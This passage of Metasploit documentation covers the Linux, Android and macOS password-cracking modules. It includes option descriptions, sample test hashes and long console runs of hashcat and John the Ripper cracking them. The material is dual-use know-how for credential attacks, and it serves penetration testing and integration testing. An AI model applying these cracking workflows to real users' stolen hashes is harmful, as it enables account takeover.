bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
md5_pot_password password Password
md5_password password Password
md52_password password Password
des_pot_55 55 Password
des2_password password Password
des_password password Password
des_55 55 Password
des_passphrase passphrase Password
bsdi_password password Password
blowfish_password password Password
sha256_password password Password
sha512_password password Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, `blowfish true`, `sha256 true`, `sha512 true` to handle the bfish, sha256 and sha512 hashes,
and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_linux
resource (hashes_hashcat.rb)> set blowfish true
blowfish => true
resource (hashes_hashcat.rb)> set sha256 true
sha256 => true
resource (hashes_hashcat.rb)> set sha512 true
sha512 => true
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-28535-hi2lkf
[*] Wordlist file written out to /tmp/jtrtmp20190531-28535-47c707
[*] Checking md5crypt hashes already cracked...
[*] Cracking md5crypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking md5crypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=p5KJBBFs --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking descrypt hashes already cracked...
[*] Cracking descrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking descrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=8qLTJwqG --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1500 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
[*] Checking bsdicrypt hashes already cracked...
[*] Cracking bsdicrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking bsdicrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=RShDcHzl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=12400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
[*] Checking bcrypt hashes already cracked...
[*] Cracking bcrypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking bcrypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=wNHLTkTX --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3200 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
1333 bcrypt blowfish_password password Wordlist
[*] Checking sha256crypt hashes already cracked...
[*] Cracking sha256crypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking sha256crypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=uNQu0c8S --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=7400 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
1331 sha256crypt sha256_password password Wordlist
1333 bcrypt blowfish_password password Wordlist
[*] Checking sha512crypt hashes already cracked...
[*] Cracking sha512crypt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking sha512crypt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=0GST7Eb1 --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1800 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-28535-hi2lkf /tmp/jtrtmp20190531-28535-47c707
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1322 descrypt des2_password password Wordlist
1323 descrypt des_password password Wordlist
1324 descrypt des_55 55 Incremental
1325 descrypt des_pot_55 55 Already Cracked/POT
1327 md5crypt md5_password password Wordlist
1328 md5crypt md52_password password Wordlist
1329 md5crypt md5_pot_password password Already Cracked/POT
1330 bsdicrypt bsdi_password password Wordlist
1331 sha256crypt sha256_password password Wordlist
1332 sha512crypt sha512_password password Wordlist
1333 bcrypt blowfish_password password Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
md5_password password Password
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
des_pot_55 55 Password
des_password password Password
md52_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
sha256_password password Password
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512
bsdi_password password Password
sha512_password password Password
blowfish_password password Password
des2_password rEK1ecacw.7.c Nonreplayable hash des
des_55 55 Password
des2_password password Password
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
des_pot_55 fakeV6xlcXxRM Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
md52_password password Password
md5_pot_password password Password
md5_pot_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.fakegHv/ Nonreplayable hash md5
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_55 rDpJV6xlcXxRM Nonreplayable hash des
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256
```
@@ -0,0 +1,266 @@
## Vulnerable Application
This module attempts to use a password cracker to decode mobile (Android)
based password hashes, such as:
* `android-sha1` based passwords
* `android-samsung-sha1` based passwords
* `android-md5` based passwords
Formats:
| Common | John | Hashcat |
|----------------------| -----|---------|
| android-md5 | n/a | 10 |
| android-samsung-sha1 | n/a | 5800 |
| android-sha1 | n/a | 110 |
Sources of hashes can be found here:
[source](https://hashcat.net/forum/thread-2202.html)
## Verification Steps
1. Have at least one user with a `android-sha1`, `android-samsung-sha1`, or `android-md5` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_mobile```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**hashcat**
Use hashcat (default).
## Options
**MD5**
Crack `android-md5` based passwords. Default is `true`
**SHA1**
Crack `android-sha1` (non-samsung) based passwords. Default is `true`
**SAMSUNG**
Crack `android-samsung-sha1` based passwords. Default is `true`
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
msf5 post(android/gather/hashdump) > creds add user:androidsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-sha1
msf5 post(android/gather/hashdump) > previous
msf5 auxiliary(analyze/crack_mobile) > set showcommand true
showcommand => true
msf5 auxiliary(analyze/crack_mobile) > run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20191112-9775-19hbg7j
[*] Wordlist file written out to /tmp/jtrtmp20191112-9775-f3q0r1
[*] Checking android-sha1 hashes already cracked...
[*] Cracking android-sha1 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191112-9775-19hbg7j ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191112-9775-19hbg7j
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=UrEHXRVq --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191112-9775-19hbg7j /tmp/jtrtmp20191112-9775-f3q0r1
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
98 android-sha1 androidsha1 1234 Pin
[*] Auxiliary module execution completed
```
### MD5, SHA1, SAMSUNG
Create a password with each type, passwords are all `1234`.
```
msf5 > creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
msf5 > creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
msf5 > creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
```
```
msf5 > use auxiliary/analyze/crack_mobile
msf5 auxiliary(analyze/crack_mobile) > run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20191113-29506-1xydi7
[*] Wordlist file written out to /tmp/jtrtmp20191113-29506-aq6ph7
[*] Checking android-sha1 hashes already cracked...
[*] Cracking android-sha1 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=ishUl4hb --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=110 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
127 android-sha1 androidsha1 1234 Pin
[*] Checking android-samsung-sha1 hashes already cracked...
[*] Cracking android-samsung-sha1 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-samsung-sha1 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-samsung-sha1 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=SMD3wSMl --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=5800 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
126 android-samsung-sha1 samsungsha1 1234 Pin
127 android-sha1 androidsha1 1234 Pin
[*] Checking android-md5 hashes already cracked...
[*] Cracking android-md5 hashes in pin mode...
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-min=4 --increment-max=8 --attack-mode=3 --runtime=300 /tmp/hashes_tmp20191113-29506-1xydi7 ?d?d?d?d?d?d?d?d
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-md5 hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --increment --increment-max=4 --attack-mode=3 /tmp/hashes_tmp20191113-29506-1xydi7
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking android-md5 hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=outBsYDa --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=10 --attack-mode=0 /tmp/hashes_tmp20191113-29506-1xydi7 /tmp/jtrtmp20191113-29506-aq6ph7
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
126 android-samsung-sha1 samsungsha1 1234 Pin
127 android-sha1 androidsha1 1234 Pin
128 android-md5 androidmd5 1234 Pin
[*] Auxiliary module execution completed
```
@@ -0,0 +1,395 @@
## Vulnerable Application
This module attempts to use a password cracker to decode Mac OS X
based password hashes, such as:
* `XSHA` based passwords (10.4-10.6)
* `XSHA512` based passwords (10.7)
* `PBKDF2-HMAC-SHA512` based passwords (10.8+)
| Common | John | Hashcat |
|--------------------|--------------------|---------|
| xsha | xsha | 122 |
| xsha512 | xsha512 | 1722 |
| pbkdf2-hmac-sha512 | pbkdf2-hmac-sha512 | 7100 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `xsha`, `xsha512`, `pbkdf2-hmac-sha512` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_osx```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**PBKDF2-HMAC-SHA512**
Crack SHA12 hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
**XSHA**
Crack xsha based hashes. Default is `true`.
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:buddahh hash:7E4F6138BE21EF6A61365A4D3270DAD24A6544EE188ED422 jtr:xsha
creds add user:mama hash:3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA jtr:xsha
creds add user:hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
creds add user:hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f9$
echo "" > /root/.msf4/john.pot
echo "3063D72395EB1A92D9BA9B8C2DF4074A081EDD1954E6B2BA:mama" >> /root/.msf4/john.pot
echo "md5be86a79bf20fake2d58d5453c47d4860:password" >> /root/.msf4/john.pot
echo "password" > /tmp/wordlist
echo "buddahh" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_osx
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-30487-6zp8aw
[*] Wordlist file written out to /tmp/jtrtmp20190531-30487-7w6deh
[*] Checking xsha hashes already cracked...
[*] Cracking xsha hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 16:03) 100.0g/s 819200p/s 819200c/s 819200C/s test3:::..Password1\!99
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[*] Cracking xsha hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=u7NpglLW --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1398 xsha xsha_buddahh buddahh Single
1399 xsha xsha_mama mama Already Cracked/POT
[*] Checking xsha512 hashes already cracked...
[*] Cracking xsha512 hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 16:03) 66.66g/s 568866p/s 1137Kc/s 1137KC/s test3:::..t1900
Use the "--show --format=xsha512" options to display all of the cracked passwords reliably
Session completed
[*] Cracking xsha512 hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha512 hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[*] Cracking xsha512 hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=A5BIrZX9 --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=xsha512 --wordlist=/tmp/jtrtmp20190531-30487-7w6deh --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-30487-6zp8aw
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1398 xsha xsha_buddahh buddahh Single
1399 xsha xsha_mama mama Already Cracked/POT
1401 xsha512 xsha512_password password Single
1402 xsha512 xsha512_hashcat hashcat Single
[*] Checking PBKDF2-HMAC-SHA512 hashes already cracked...
[*] Cracking PBKDF2-HMAC-SHA512 hashes in single mode...
